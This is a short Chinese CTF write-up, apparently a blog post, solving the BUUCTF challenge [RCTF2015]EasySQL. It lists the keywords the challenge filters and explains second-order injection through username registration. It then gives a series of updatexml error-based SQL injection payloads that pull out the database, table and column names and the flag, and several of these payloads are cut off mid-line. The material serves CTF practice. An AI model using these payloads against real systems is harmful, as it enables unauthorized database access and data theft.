buuctf-[RCTF2015]EasySQL

原创

123hello123 于 2020-09-29 21:34:38 发布 105 收藏
分类专栏： web 文章标签： EasySQL BUUCTF [RCTF2015]


```
Fuzz  测试
过滤：
 and  insert  ascii  substr  left rigth  sleep  floor  < like /**/  %20



思路：      注册带有危险符号的用户，登录之后修改密码，就能达到二次注入的效果



爆破：    admin"or(updatexml('~',concat('~',(),'~'),'~'))or"1


    用户: admin"or(updatexml('~',concat('~',database(),'~'),'~'))or"1

 XPATH syntax error: '~web_sqli~'



   表:  admin"or(updatexml('~',concat('~',(select(group_concat(table_name))from(information_schema.tables)wl

 XPATH syntax error: '~article,flag,users~'


列:  admin"or(updatexml('~',concat('~',(select(group_concat(column_name))from(information_schema.columns)whe
 admin"or(updatexml('~',concat('~',(select(group_concat(column_name))from(information_schema.columns)where(


 XPATH syntax error: '~flag~'
 name,pwd,email,real_flag_1s_her

 ereh_s1_galf_laer,liame,dwp,ema



flag

 admin"or(updatexml('~',concat('~',(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_he
 admin"or(updatexml('~',concat('~',(select(REVERSE(GROUP_CONCAT(real_flag_1s_here)))from(web_sqli.users)whe
```

上面是自己研究的一些思路和姿势，以及写题的流程。

题目的考点是二次注入，报错注入，sql正则函数，reverse()函数。